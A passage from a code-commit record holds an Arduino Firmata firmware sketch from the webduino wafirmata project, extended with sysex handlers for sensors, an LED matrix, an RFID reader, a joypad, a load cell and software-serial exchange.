test\n","repos":"webduinoio\/wafirmata","old_file":"waFirmata_dht_MaxMatrix_MFRC522_Joypad_GY291_G3_HX711_SoftwareSerial.ino","new_file":"waFirmata_dht_MaxMatrix_MFRC522_Joypad_GY291_G3_HX711_SoftwareSerial.ino","new_contents":"\/*\n Firmata is a generic protocol for communicating with microcontrollers\n from software on a host computer. It is intended to work with\n any host computer software package.\n\n To download a host software package, please clink on the following link\n to open the list of Firmata client libraries your default browser.\n\n https:\/\/github.com\/firmata\/arduino#firmata-client-libraries\n\n Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved.\n Copyright (C) 2010-2011 Paul Stoffregen. All rights reserved.\n Copyright (C) 2009 Shigeru Kobayashi. All rights reserved.\n Copyright (C) 2009-2015 Jeff Hoefs. All rights reserved.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n See file LICENSE.txt for further informations on licensing terms.\n\n Last updated by Jeff Hoefs: August 9th, 2015\n*\/\n\n#include <Servo.h>\n#include <Wire.h>\n#include <Firmata.h>\n#include <dht.h>\n#include <MaxMatrix.h>\n#include <SPI.h>\n#include <MFRC522.h>\n#include <Joypad.h>\n#include <GY291.h>\n#include <SoftwareSerial.h>\n#include <waG3.h>\n#include <HX711.h>\n#include <SerialDataExchange.h>\n\n\n\n#define I2C_WRITE B00000000\n#define I2C_READ B00001000\n#define I2C_READ_CONTINUOUSLY B00010000\n#define I2C_STOP_READING B00011000\n#define I2C_READ_WRITE_MODE_MASK B00011000\n#define I2C_10BIT_ADDRESS_MODE_MASK B00100000\n#define I2C_MAX_QUERIES 8\n#define I2C_REGISTER_NOT_SPECIFIED -1\n\n#define RST_PIN 9\n#define SS_PIN 10\n\n\/\/ the minimum interval for sampling analog input\n#define MINIMUM_SAMPLING_INTERVAL 10\n\n\n\/*==============================================================================\n GLOBAL VARIABLES\n ============================================================================*\/\ndht DHT;\nMaxMatrix *mm;\nGY291 *gy291;\nMFRC522 *mfrc522;\nJoypad *joypad;\nHX711 *hx711;\nwaG3 *g3;\nSerialDataExchange *sde;\n\nunsigned char strhex[17] = \"0123456789ABCDEF\";\nbyte rfidTouchScan = 0;\nboolean rfidTouch = false;\nboolean rfidEnable = false;\n\n\/* analog inputs *\/\nint analogInputsToReport = 0; \/\/ bitwise array to store pin reporting\n\n\/* digital input ports *\/\nbyte reportPINs[TOTAL_PORTS]; \/\/ 1 = report this port, 0 = silence\nbyte previousPINs[TOTAL_PORTS]; \/\/ previous 8 bits sent\n\n\/* pins configuration *\/\nbyte pinConfig[TOTAL_PINS]; \/\/ configuration of every pin\nbyte portConfigInputs[TOTAL_PORTS]; \/\/ each bit: 1 = pin in INPUT, 0 = anything else\nint pinState[TOTAL_PINS]; \/\/ any value that has been written\n\n\/* timer variables *\/\nunsigned long currentMillis; \/\/ store the current value from millis()\nunsigned long previousMillis; \/\/ for comparison with currentMillis\nunsigned int samplingInterval = 19; \/\/ how often to run the main loop (in ms)\n\n\/* i2c data *\/\nstruct i2c_device_info {\n byte addr;\n int reg;\n byte bytes;\n};\n\n\/* for i2c read continuous more *\/\ni2c_device_info query[I2C_MAX_QUERIES];\n\nbyte i2cRxData[32];\nboolean isI2CEnabled = false;\nsigned char queryIndex = -1;\n\/\/ default delay time between i2c read request and Wire.requestFrom()\nunsigned int i2cReadDelayTime = 0;\n\nServo servos[MAX_SERVOS];\nbyte servoPinMap[TOTAL_PINS];\nbyte detachedServos[MAX_SERVOS];\nbyte detachedServoCount = 0;\nbyte servoCount = 0;\n\nboolean isResetting = false;\n\n\/* utility functions *\/\nvoid wireWrite(byte data)\n{\n#if ARDUINO >= 100\n Wire.write((byte)data);\n#else\n Wire.send(data);\n#endif\n}\n\nbyte wireRead(void)\n{\n#if ARDUINO >= 100\n return Wire.read();\n#else\n return Wire.receive();\n#endif\n}\n\n\/*==============================================================================\n FUNCTIONS\n ============================================================================*\/\n\nvoid attachServo(byte pin, int minPulse, int maxPulse)\n{\n if (servoCount < MAX_SERVOS) {\n \/\/ reuse indexes of detached servos until all have been reallocated\n if (detachedServoCount > 0) {\n servoPinMap[pin] = detachedServos[detachedServoCount - 1];\n if (detachedServoCount > 0) detachedServoCount--;\n } else {\n servoPinMap[pin] = servoCount;\n servoCount++;\n }\n if (minPulse > 0 && maxPulse > 0) {\n servos[servoPinMap[pin]].attach(PIN_TO_DIGITAL(pin), minPulse, maxPulse);\n } else {\n servos[servoPinMap[pin]].attach(PIN_TO_DIGITAL(pin));\n }\n } else {\n Firmata.sendString(\"Max servos attached\");\n }\n}\n\nvoid detachServo(byte pin)\n{\n servos[servoPinMap[pin]].detach();\n \/\/ if we're detaching the last servo, decrement the count\n \/\/ otherwise store the index of the detached servo\n if (servoPinMap[pin] == servoCount && servoCount > 0) {\n servoCount--;\n } else if (servoCount > 0) {\n \/\/ keep track of detached servos because we want to reuse their indexes\n \/\/ before incrementing the count of attached servos\n detachedServoCount++;\n detachedServos[detachedServoCount - 1] = servoPinMap[pin];\n }\n\n servoPinMap[pin] = 255;\n}\n\nvoid readAndReportData(byte address, int theRegister, byte numBytes) {\n \/\/ allow I2C requests that don't require a register read\n \/\/ for example, some devices using an interrupt pin to signify new data available\n \/\/ do not always require the register read so upon interrupt you call Wire.requestFrom()\n if (theRegister != I2C_REGISTER_NOT_SPECIFIED) {\n Wire.beginTransmission(address);\n wireWrite((byte)theRegister);\n Wire.endTransmission();\n \/\/ do not set a value of 0\n if (i2cReadDelayTime > 0) {\n \/\/ delay is necessary for some devices such as WiiNunchuck\n delayMicroseconds(i2cReadDelayTime);\n }\n } else {\n theRegister = 0; \/\/ fill the register with a dummy value\n }\n\n Wire.requestFrom(address, numBytes); \/\/ all bytes are returned in requestFrom\n\n \/\/ check to be sure correct number of bytes were returned by slave\n if (numBytes < Wire.available()) {\n Firmata.sendString(\"I2C: Too many bytes received\");\n } else if (numBytes > Wire.available()) {\n Firmata.sendString(\"I2C: Too few bytes received\");\n }\n\n i2cRxData[0] = address;\n i2cRxData[1] = theRegister;\n\n for (int i = 0; i < numBytes && Wire.available(); i++) {\n i2cRxData[2 + i] = wireRead();\n }\n\n \/\/ send slave address, register and received bytes\n Firmata.sendSysex(SYSEX_I2C_REPLY, numBytes + 2, i2cRxData);\n}\n\nvoid outputPort(byte portNumber, byte portValue, byte forceSend)\n{\n \/\/ pins not configured as INPUT are cleared to zeros\n portValue = portValue & portConfigInputs[portNumber];\n \/\/ only send if the value is different than previously sent\n if (forceSend || previousPINs[portNumber] != portValue) {\n Firmata.sendDigitalPort(portNumber, portValue);\n previousPINs[portNumber] = portValue;\n }\n}\n\n\/* -----------------------------------------------------------------------------\n check all the active digital inputs for change of state, then add any events\n to the Serial output queue using Serial.print() *\/\nvoid checkDigitalInputs(void)\n{\n \/* Using non-looping code allows constants to be given to readPort().\n The compiler will apply substantial optimizations if the inputs\n to readPort() are compile-time constants. *\/\n if (TOTAL_PORTS > 0 && reportPINs[0]) outputPort(0, readPort(0, portConfigInputs[0]), false);\n if (TOTAL_PORTS > 1 && reportPINs[1]) outputPort(1, readPort(1, portConfigInputs[1]), false);\n if (TOTAL_PORTS > 2 && reportPINs[2]) outputPort(2, readPort(2, portConfigInputs[2]), false);\n if (TOTAL_PORTS > 3 && reportPINs[3]) outputPort(3, readPort(3, portConfigInputs[3]), false);\n if (TOTAL_PORTS > 4 && reportPINs[4]) outputPort(4, readPort(4, portConfigInputs[4]), false);\n if (TOTAL_PORTS > 5 && reportPINs[5]) outputPort(5, readPort(5, portConfigInputs[5]), false);\n if (TOTAL_PORTS > 6 && reportPINs[6]) outputPort(6, readPort(6, portConfigInputs[6]), false);\n if (TOTAL_PORTS > 7 && reportPINs[7]) outputPort(7, readPort(7, portConfigInputs[7]), false);\n if (TOTAL_PORTS > 8 && reportPINs[8]) outputPort(8, readPort(8, portConfigInputs[8]), false);\n if (TOTAL_PORTS > 9 && reportPINs[9]) outputPort(9, readPort(9, portConfigInputs[9]), false);\n if (TOTAL_PORTS > 10 && reportPINs[10]) outputPort(10, readPort(10, portConfigInputs[10]), false);\n if (TOTAL_PORTS > 11 && reportPINs[11]) outputPort(11, readPort(11, portConfigInputs[11]), false);\n if (TOTAL_PORTS > 12 && reportPINs[12]) outputPort(12, readPort(12, portConfigInputs[12]), false);\n if (TOTAL_PORTS > 13 && reportPINs[13]) outputPort(13, readPort(13, portConfigInputs[13]), false);\n if (TOTAL_PORTS > 14 && reportPINs[14]) outputPort(14, readPort(14, portConfigInputs[14]), false);\n if (TOTAL_PORTS > 15 && reportPINs[15]) outputPort(15, readPort(15, portConfigInputs[15]), false);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets the pin mode to the correct state and sets the relevant bits in the\n two bit-arrays that track Digital I\/O and PWM status\n*\/\nvoid setPinModeCallback(byte pin, int mode)\n{\n if (pinConfig[pin] == IGNORE)\n return;\n\n if (pinConfig[pin] == I2C && isI2CEnabled && mode != I2C) {\n \/\/ disable i2c so pins can be used for other functions\n \/\/ the following if statements should reconfigure the pins properly\n disableI2CPins();\n }\n if (IS_PIN_DIGITAL(pin) && mode != SERVO) {\n if (servoPinMap[pin] < MAX_SERVOS && servos[servoPinMap[pin]].attached()) {\n detachServo(pin);\n }\n }\n if (IS_PIN_ANALOG(pin)) {\n reportAnalogCallback(PIN_TO_ANALOG(pin), mode == ANALOG ? 1 : 0); \/\/ turn on\/off reporting\n }\n if (IS_PIN_DIGITAL(pin)) {\n if (mode == INPUT) {\n portConfigInputs[pin \/ 8] |= (1 << (pin & 7));\n } else {\n portConfigInputs[pin \/ 8] &= ~(1 << (pin & 7));\n }\n }\n pinState[pin] = 0;\n switch (mode) {\n case ANALOG:\n if (IS_PIN_ANALOG(pin)) {\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n }\n pinConfig[pin] = ANALOG;\n }\n break;\n case INPUT:\n if (IS_PIN_DIGITAL(pin)) {\n pinMode(PIN_TO_DIGITAL(pin), INPUT); \/\/ disable output driver\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable internal pull-ups\n pinConfig[pin] = INPUT;\n }\n break;\n case OUTPUT:\n if (IS_PIN_DIGITAL(pin)) {\n digitalWrite(PIN_TO_DIGITAL(pin), LOW); \/\/ disable PWM\n pinMode(PIN_TO_DIGITAL(pin), OUTPUT);\n pinConfig[pin] = OUTPUT;\n }\n break;\n case PWM:\n if (IS_PIN_PWM(pin)) {\n pinMode(PIN_TO_PWM(pin), OUTPUT);\n analogWrite(PIN_TO_PWM(pin), 0);\n pinConfig[pin] = PWM;\n }\n break;\n case SERVO:\n if (IS_PIN_DIGITAL(pin)) {\n pinConfig[pin] = SERVO;\n if (servoPinMap[pin] == 255 || !servos[servoPinMap[pin]].attached()) {\n \/\/ pass -1 for min and max pulse values to use default values set\n \/\/ by Servo library\n attachServo(pin, -1, -1);\n }\n }\n break;\n case I2C:\n if (IS_PIN_I2C(pin)) {\n \/\/ mark the pin as i2c\n \/\/ the user must call I2C_CONFIG to enable I2C for a device\n pinConfig[pin] = I2C;\n }\n break;\n default:\n Firmata.sendString(\"Unknown pin mode\"); \/\/ TODO: put error msgs in EEPROM\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid analogWriteCallback(byte pin, int value)\n{\n if (pin < TOTAL_PINS) {\n switch (pinConfig[pin]) {\n case SERVO:\n if (IS_PIN_DIGITAL(pin))\n servos[servoPinMap[pin]].write(value);\n pinState[pin] = value;\n break;\n case PWM:\n if (IS_PIN_PWM(pin))\n analogWrite(PIN_TO_PWM(pin), value);\n pinState[pin] = value;\n break;\n }\n }\n}\n\nvoid digitalWriteCallback(byte port, int value)\n{\n byte pin, lastPin, mask = 1, pinWriteMask = 0;\n\n if (port < TOTAL_PORTS) {\n \/\/ create a mask of the pins on this port that are writable.\n lastPin = port * 8 + 8;\n if (lastPin > TOTAL_PINS) lastPin = TOTAL_PINS;\n for (pin = port * 8; pin < lastPin; pin++) {\n \/\/ do not disturb non-digital pins (eg, Rx & Tx)\n if (IS_PIN_DIGITAL(pin)) {\n \/\/ only write to OUTPUT and INPUT (enables pullup)\n \/\/ do not touch pins in PWM, ANALOG, SERVO or other modes\n if (pinConfig[pin] == OUTPUT || pinConfig[pin] == INPUT) {\n pinWriteMask |= mask;\n pinState[pin] = ((byte)value & mask) ? 1 : 0;\n }\n }\n mask = mask << 1;\n }\n writePort(port, (byte)value, pinWriteMask);\n }\n}\n\n\n\/\/ -----------------------------------------------------------------------------\n\/* sets bits in a bit array (int) to toggle the reporting of the analogIns\n*\/\n\/\/void FirmataClass::setAnalogPinReporting(byte pin, byte state) {\n\/\/}\nvoid reportAnalogCallback(byte analogPin, int value)\n{\n if (analogPin < TOTAL_ANALOG_PINS) {\n if (value == 0) {\n analogInputsToReport = analogInputsToReport & ~ (1 << analogPin);\n } else {\n analogInputsToReport = analogInputsToReport | (1 << analogPin);\n \/\/ prevent during system reset or all analog pin values will be reported\n \/\/ which may report noise for unconnected analog pins\n if (!isResetting) {\n \/\/ Send pin value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ TODO: save status to EEPROM here, if changed\n}\n\nvoid reportDigitalCallback(byte port, int value)\n{\n if (port < TOTAL_PORTS) {\n reportPINs[port] = (byte)value;\n \/\/ Send port value immediately. This is helpful when connected via\n \/\/ ethernet, wi-fi or bluetooth so pin states can be known upon\n \/\/ reconnecting.\n if (value) outputPort(port, readPort(port, portConfigInputs[port]), true);\n }\n \/\/ do not disable analog reporting on these 8 pins, to allow some\n \/\/ pins used for digital, others analog. Instead, allow both types\n \/\/ of reporting to be enabled, but check if the pin is configured\n \/\/ as analog when sampling the analog inputs. Likewise, while\n \/\/ scanning digital pins, portConfigInputs will mask off values from any\n \/\/ pins configured as analog\n}\n\n\/*==============================================================================\n SYSEX-BASED commands\n ============================================================================*\/\n\nvoid sysexCallback(byte command, byte argc, byte *argv)\n{\n byte mode;\n byte slaveAddress;\n byte data;\n int slaveRegister;\n unsigned int delayTime;\n byte strLen;\n String strData;\n\n switch (command) {\n case 1:\n pinMode(argv[0] & 0x0f, OUTPUT);\n pinMode(argv[1] & 0x0f, INPUT);\n digitalWrite(argv[0] & 0x0f, LOW);\n delayMicroseconds(2);\n digitalWrite(argv[0] & 0x0f, HIGH);\n delayMicroseconds(10);\n digitalWrite(argv[0] & 0x0f, LOW);\n Firmata.write(START_SYSEX);\n Firmata.write(1);\n Firmata.write(argv[0] & 0x0f);\n Firmata.write(argv[1] & 0x0f);\n {\n String strData = String(pulseIn(argv[1] & 0x0f, HIGH) \/ 58);\n data = strData.length();\n for (int i = 0; i < data; i++) {\n Firmata.write(strData.charAt(i));\n }\n }\n Firmata.write(END_SYSEX);\n break;\n case 4:\n switch (argv[0]) {\n case 4:\n DHT.read11(argv[1]);\n Firmata.write(START_SYSEX);\n Firmata.write(4);\n Firmata.write(4);\n Firmata.write(argv[1]);\n strData = String(int(DHT.humidity * 100)) + String(int(DHT.temperature * 100));\n \/\/Serial.println(strData);\n strLen = strData.length();\n for (int i = 0; i < strLen; i++) {\n Firmata.write(strData.charAt(i));\n }\n Firmata.write(END_SYSEX);\n break;\n case 7: \/\/Buzzer f004070b131805f7\n pinMode(argv[1], OUTPUT);\n tone(argv[1], (String(argv[2], HEX)).toInt() * 100 +\n (String(argv[3], HEX)).toInt(), argv[4] * 100);\n break;\n case 8:\n \/\/ 00: init , 01:display , 02: clear\n switch (argv[1]) { \/\/argv[1] = cmd;\n case 0: \/\/init f0040800060708f7\n if (mm == NULL) {\n mm = new MaxMatrix();\n mm->init(argv[2], argv[3], argv[4], 1);\n }\n break;\n case 1: \/\/display f0040801FF02040810204080f7\n for (byte i = 0; i < 16; i = i + 2) {\n mm->setColumn(i \/ 2, asc2hex(argv + i + 2));\n }\n break;\n case 2: \/\/clear f0040802f7\n mm->clear();\n break;\n case 3: \/\/Intensity f00408030ff7\n mm->setIntensity(argv[2]);\n break;\n }\n break;\n case 11: \/\/ GY-291\n \/\/ 0: init , 01: start , 02:stop , 03:sensitivity\n switch (argv[1]) { \/\/argv[1] = cmd;\n case 0: \/\/init GY291\n gy291 = new GY291();\n gy291->init();\n break;\n case 1: \/\/start\n gy291->start();\n break;\n case 2: \/\/stop\n gy291->stop();\n break;\n case 3: \/\/sensitivity\n gy291->sensitivity(argv[2]);\n break;\n case 4: \/\/delay argv[2] ms\n gy291->delay_ms(argv[2]);\n break;\n case 5: \/\/delay argv[2] * 10ms\n gy291->delay(argv[2]);\n break;\n }\n break;\n case 15:\n switch (argv[1]) { \/\/argv[1] = cmd;\n case 0: \/\/ init RFID\n if (mfrc522 == NULL) {\n mfrc522 = new MFRC522(SS_PIN, RST_PIN);\n SPI.begin();\n mfrc522->PCD_Init();\n }\n break;\n case 1: \/\/ start RFID\n if (mfrc522 != NULL) {\n rfidEnable = true;\n }\n break;\n case 2: \/\/ stop RFID\n if (mfrc522 != NULL) {\n rfidEnable = false;\n }\n break;\n case 3: \/\/ change RFID\n if (mfrc522 != NULL) {\n }\n break;\n }\n break;\n case 0x10:\n \/\/ 0: init , 01: start , 02:stop , 03:sensitivity\n switch (argv[1]) { \/\/argv[1] = cmd;\n case 0: \/\/init GY291\n if (g3 == NULL) {\n g3 = new waG3(argv[2], argv[3]);\n }\n break;\n case 1: \/\/enable\n g3->setEnable(true);\n break;\n case 2: \/\/disable\n g3->setEnable(false);\n break;\n case 3: \/\/getSensorData\n if (g3->isEnable()) {\n String strData = g3->getData();\n data = strData.length();\n Firmata.write(START_SYSEX);\n Firmata.write(4);\n Firmata.write(16);\n for (int i = 0; i < data; i++) {\n Firmata.write(strData.charAt(i));\n }\n Firmata.write(END_SYSEX);\n }\n break;\n }\n break;\n case 20: \/\/Joypad\n switch (argv[1]) { \/\/argv[1] = cmd;\n case 0: \/\/board.board.send([0xf0,0x04,0x14,1,0,1,0xf7]);\n if (joypad == NULL) {\n joypad = new Joypad();\n }\n joypad->init(argv[2], argv[3]);\n break;\n case 1: \/\/board.board.send([0xf0,0x04,0x14,1,0,1,2,3,0xf7]);\n if (joypad == NULL) {\n joypad = new Joypad();\n }\n joypad->init(argv[2], argv[3], argv[4], argv[5]);\n break;\n case 2: \/\/start\n joypad->start();\n break;\n case 3: \/\/stop\n joypad->stop();\n break;\n }\n break;\n case 0x15: \/\/HX711\n switch (argv[1]) { \/\/argv[1] = cmd;\n case 0: \/\/create\n hx711 = new HX711();\n hx711->init(argv[2], argv[3]);\n break;\n case 1: \/\/on\n hx711->on();\n break;\n case 2: \/\/off\n hx711->off();\n break;\n }\n break;\n case 0x16: \/\/SoftwareSerial data exchange\n switch (argv[1]) { \/\/argv[1] = cmd;\n case 0: \/\/create\n sde = new SerialDataExchange(argv[2], argv[3]);\n sde->begin(9600);\n sde->attach([](String data) {\n byte dataLen = data.length();\n Firmata.write(START_SYSEX);\n Firmata.write(4);\n Firmata.write(0x16);\n for (int i = 0; i < dataLen; i++) {\n Firmata.write(data.charAt(i));\n }\n Firmata.write(END_SYSEX);\n });\n break;\n }\n break;\n }\n break;\n case I2C_REQUEST:\n mode = argv[1] & I2C_READ_WRITE_MODE_MASK;\n if (argv[1] & I2C_10BIT_ADDRESS_MODE_MASK) {\n Firmata.sendString(\"10-bit addressing not supported\");\n return;\n }\n else {\n slaveAddress = argv[0];\n }\n\n switch (mode) {\n case I2C_WRITE:\n Wire.beginTransmission(slaveAddress);\n for (byte i = 2; i < argc; i += 2) {\n data = argv[i] + (argv[i + 1] << 7);\n wireWrite(data);\n }\n Wire.endTransmission();\n delayMicroseconds(70);\n break;\n case I2C_READ:\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n }\n else {\n \/\/ a slave register is NOT specified\n slaveRegister = I2C_REGISTER_NOT_SPECIFIED;\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n }\n readAndReportData(slaveAddress, (int)slaveRegister, data);\n break;\n case I2C_READ_CONTINUOUSLY:\n if ((queryIndex + 1) >= I2C_MAX_QUERIES) {\n \/\/ too many queries, just ignore\n Firmata.sendString(\"too many queries\");\n break;\n }\n if (argc == 6) {\n \/\/ a slave register is specified\n slaveRegister = argv[2] + (argv[3] << 7);\n data = argv[4] + (argv[5] << 7); \/\/ bytes to read\n }\n else {\n \/\/ a slave register is NOT specified\n slaveRegister = (int)I2C_REGISTER_NOT_SPECIFIED;\n data = argv[2] + (argv[3] << 7); \/\/ bytes to read\n }\n queryIndex++;\n query[queryIndex].addr = slaveAddress;\n query[queryIndex].reg = slaveRegister;\n query[queryIndex].bytes = data;\n break;\n case I2C_STOP_READING:\n byte queryIndexToSkip;\n \/\/ if read continuous mode is enabled for only 1 i2c device, disable\n \/\/ read continuous reporting for that device\n if (queryIndex <= 0) {\n queryIndex = -1;\n } else {\n \/\/ if read continuous mode is enabled for multiple devices,\n \/\/ determine which device to stop reading and remove it's data from\n \/\/ the array, shifiting other array data to fill the space\n for (byte i = 0; i < queryIndex + 1; i++) {\n if (query[i].addr == slaveAddress) {\n queryIndexToSkip = i;\n break;\n }\n }\n\n for (byte i = queryIndexToSkip; i < queryIndex + 1; i++) {\n if (i < I2C_MAX_QUERIES) {\n query[i].addr = query[i + 1].addr;\n query[i].reg = query[i + 1].reg;\n query[i].bytes = query[i + 1].bytes;\n }\n }\n queryIndex--;\n }\n break;\n default:\n break;\n }\n break;\n case I2C_CONFIG:\n delayTime = (argv[0] + (argv[1] << 7));\n\n if (delayTime > 0) {\n i2cReadDelayTime = delayTime;\n }\n\n if (!isI2CEnabled) {\n enableI2CPins();\n }\n\n break;\n case SERVO_CONFIG:\n if (argc > 4) {\n \/\/ these vars are here for clarity, they'll optimized away by the compiler\n byte pin = argv[0];\n int minPulse = argv[1] + (argv[2] << 7);\n int maxPulse = argv[3] + (argv[4] << 7);\n\n if (IS_PIN_DIGITAL(pin)) {\n if (servoPinMap[pin] < MAX_SERVOS && servos[servoPinMap[pin]].attached()) {\n detachServo(pin);\n }\n attachServo(pin, minPulse, maxPulse);\n setPinModeCallback(pin, SERVO);\n }\n }\n break;\n case SAMPLING_INTERVAL:\n if (argc > 1) {\n samplingInterval = argv[0] + (argv[1] << 7);\n if (samplingInterval < MINIMUM_SAMPLING_INTERVAL) {\n samplingInterval = MINIMUM_SAMPLING_INTERVAL;\n }\n } else {\n \/\/Firmata.sendString(\"Not enough data\");\n }\n break;\n case EXTENDED_ANALOG:\n if (argc > 1) {\n int val = argv[1];\n if (argc > 2) val |= (argv[2] << 7);\n if (argc > 3) val |= (argv[3] << 14);\n analogWriteCallback(argv[0], val);\n }\n break;\n case CAPABILITY_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(CAPABILITY_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write((byte)INPUT);\n Firmata.write(1);\n Firmata.write((byte)OUTPUT);\n Firmata.write(1);\n }\n if (IS_PIN_ANALOG(pin)) {\n Firmata.write(ANALOG);\n Firmata.write(10); \/\/ 10 = 10-bit resolution\n }\n if (IS_PIN_PWM(pin)) {\n Firmata.write(PWM);\n Firmata.write(8); \/\/ 8 = 8-bit resolution\n }\n if (IS_PIN_DIGITAL(pin)) {\n Firmata.write(SERVO);\n Firmata.write(14);\n }\n if (IS_PIN_I2C(pin)) {\n Firmata.write(I2C);\n Firmata.write(1); \/\/ TODO: could assign a number to map to SCL or SDA\n }\n Firmata.write(127);\n }\n Firmata.write(END_SYSEX);\n break;\n case PIN_STATE_QUERY:\n if (argc > 0) {\n byte pin = argv[0];\n Firmata.write(START_SYSEX);\n Firmata.write(PIN_STATE_RESPONSE);\n Firmata.write(pin);\n if (pin < TOTAL_PINS) {\n Firmata.write((byte)pinConfig[pin]);\n Firmata.write((byte)pinState[pin] & 0x7F);\n if (pinState[pin] & 0xFF80) Firmata.write((byte)(pinState[pin] >> 7) & 0x7F);\n if (pinState[pin] & 0xC000) Firmata.write((byte)(pinState[pin] >> 14) & 0x7F);\n }\n Firmata.write(END_SYSEX);\n }\n break;\n case ANALOG_MAPPING_QUERY:\n Firmata.write(START_SYSEX);\n Firmata.write(ANALOG_MAPPING_RESPONSE);\n for (byte pin = 0; pin < TOTAL_PINS; pin++) {\n Firmata.write(IS_PIN_ANALOG(pin) ? PIN_TO_ANALOG(pin) : 127);\n }\n Firmata.write(END_SYSEX);\n break;\n }\n}\n\nvoid enableI2CPins()\n{\n byte i;\n \/\/ is there a faster way to do this? would probaby require importing\n \/\/ Arduino.h to get SCL and SDA pins\n for (i = 0; i < TOTAL_PINS; i++) {\n if (IS_PIN_I2C(i)) {\n \/\/ mark pins as i2c so they are ignore in non i2c data requests\n setPinModeCallback(i, I2C);\n }\n }\n\n isI2CEnabled = true;\n\n Wire.begin();\n}\n\n\/* disable the i2c pins so they can be used for other functions *\/\nvoid disableI2CPins() {\n isI2CEnabled = false;\n \/\/ disable read continuous mode for all devices\n queryIndex = -1;\n}\n\n\/*==============================================================================\n SETUP()\n ============================================================================*\/\n\nvoid systemResetCallback()\n{\n isResetting = true;\n\n \/\/ initialize a defalt state\n \/\/ TODO: option to load config from EEPROM instead of default\n\n if (isI2CEnabled) {\n disableI2CPins();\n }\n\n for (byte i = 0; i < TOTAL_PORTS; i++) {\n reportPINs[i] = false; \/\/ by default, reporting off\n portConfigInputs[i] = 0; \/\/ until activated\n previousPINs[i] = 0;\n }\n\n for (byte i = 0; i < TOTAL_PINS; i++) {\n \/\/ pins with analog capability default to analog input\n \/\/ otherwise, pins default to digital output\n if (IS_PIN_ANALOG(i)) {\n \/\/ turns off pullup, configures everything\n setPinModeCallback(i, ANALOG);\n } else {\n \/\/ sets the output to 0, configures portConfigInputs\n setPinModeCallback(i, OUTPUT);\n }\n\n servoPinMap[i] = 255;\n }\n \/\/ by default, do not report any analog inputs\n analogInputsToReport = 0;\n\n detachedServoCount = 0;\n servoCount = 0;\n\n \/* send digital inputs to set the initial state on the host computer,\n since once in the loop(), this firmware will only send on change *\/\n \/*\n TODO: this can never execute, since no pins default to digital input\n but it will be needed when\/if we support EEPROM stored config\n for (byte i=0; i < TOTAL_PORTS; i++) {\n outputPort(i, readPort(i, portConfigInputs[i]), true);\n }\n *\/\n isResetting = false;\n}\n\nvoid setup()\n{\n Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION);\n\n Firmata.attach(ANALOG_MESSAGE, analogWriteCallback);\n Firmata.attach(DIGITAL_MESSAGE, digitalWriteCallback);\n Firmata.attach(REPORT_ANALOG, reportAnalogCallback);\n Firmata.attach(REPORT_DIGITAL, reportDigitalCallback);\n Firmata.attach(SET_PIN_MODE, setPinModeCallback);\n Firmata.attach(START_SYSEX, sysexCallback);\n Firmata.attach(SYSTEM_RESET, systemResetCallback);\n\n \/\/ to use a port other than Serial, such as Serial1 on an Arduino Leonardo or Mega,\n \/\/ Call begin(baud) on the alternate serial port and pass it to Firmata to begin like this:\n \/\/ Serial1.begin(57600);\n \/\/ Firmata.begin(Serial1);\n \/\/ then comment out or remove lines 701 - 704 below\n\n Firmata.begin(57600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Only needed for ATmega32u4-based boards (Leonardo, etc).\n }\n systemResetCallback(); \/\/ reset to default config\n}\n\n\/*==============================================================================\n LOOP()\n ============================================================================*\/\nvoid loop()\n{\n byte pin, analogPin;\n\n \/* DIGITALREAD - as fast as possible, check for changes and output them to the\n FTDI buffer using Serial.print() *\/\n checkDigitalInputs();\n\n if (sde != NULL) sde->loop();\n if (gy291 != NULL) gy291->loop();\n if (hx711 != NULL) hx711->loop();\n if (joypad != NULL && joypad->state()) {\n joypad->loop();\n }\n\n if (rfidEnable) {\n if (mfrc522->PICC_IsNewCardPresent() && mfrc522->PICC_ReadCardSerial()) {\n if (!rfidTouch) {\n Firmata.write(START_SYSEX);\n byte len = mfrc522->uid.size;\n for (byte i = 0; i < len; i++) {\n Firmata.write(strhex[mfrc522->uid.uidByte[i] >> 4]);\n Firmata.write(strhex[mfrc522->uid.uidByte[i] & 0x0f]);\n }\n Firmata.write(END_SYSEX);\n rfidTouch = true;\n }\n rfidTouchScan = 0;\n } else {\n if (rfidTouchScan++ == 2 && rfidTouch) {\n rfidTouch = false;\n Firmata.write(START_SYSEX);\n Firmata.write(0);\n Firmata.write(END_SYSEX);\n }\n }\n }\n \/* STREAMREAD - processing incoming messagse as soon as possible, while still\n checking digital inputs. *\/\n while (Firmata.available())\n Firmata.processInput();\n\n \/\/ TODO - ensure that Stream buffer doesn't go over 60 bytes\n\n currentMillis = millis();\n if (currentMillis - previousMillis > samplingInterval) {\n previousMillis += samplingInterval;\n \/* ANALOGREAD - do all analogReads() at the configured sampling interval *\/\n for (pin = 0; pin < TOTAL_PINS; pin++) {\n if (IS_PIN_ANALOG(pin) && pinConfig[pin] == ANALOG) {\n analogPin = PIN_TO_ANALOG(pin);\n if (analogInputsToReport & (1 << analogPin)) {\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ report i2c data for all device with read continuous mode enabled\n if (queryIndex > -1) {\n for (byte i = 0; i < queryIndex + 1; i++) {\n readAndReportData(query[i].addr, query[i].reg, query[i].bytes);\n }\n }\n }\n}\n\nbyte 